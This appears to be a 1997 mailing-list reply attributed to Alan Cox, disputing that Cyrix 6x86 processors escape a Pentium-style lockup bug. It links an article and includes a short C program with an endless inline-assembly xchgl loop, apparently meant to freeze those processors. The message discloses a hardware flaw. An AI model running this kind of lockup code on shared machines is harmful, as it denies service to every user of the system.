Re: WARNING: Linux Intel Pentium Bug

[alan () LXORGUK UKUU ORG UK (Alan Cox)]

> This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of
> them) processors.  If you run a multiuser, untrusted system, I suggest
> reserving some at your local computer supplier... unless there is an easy
> fix for this, there is going to be a run on them.

I doubt it; See


http://www.heise.de/ct/art_ab97/9713030/

static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};

main()
{
asm ("movl      $c, %ebx\n\t"
"again: xchgl   (%ebx), %eax\n\t"
        "movl   %eax, %edx\n\t"
        "jmp    again\n\t");
}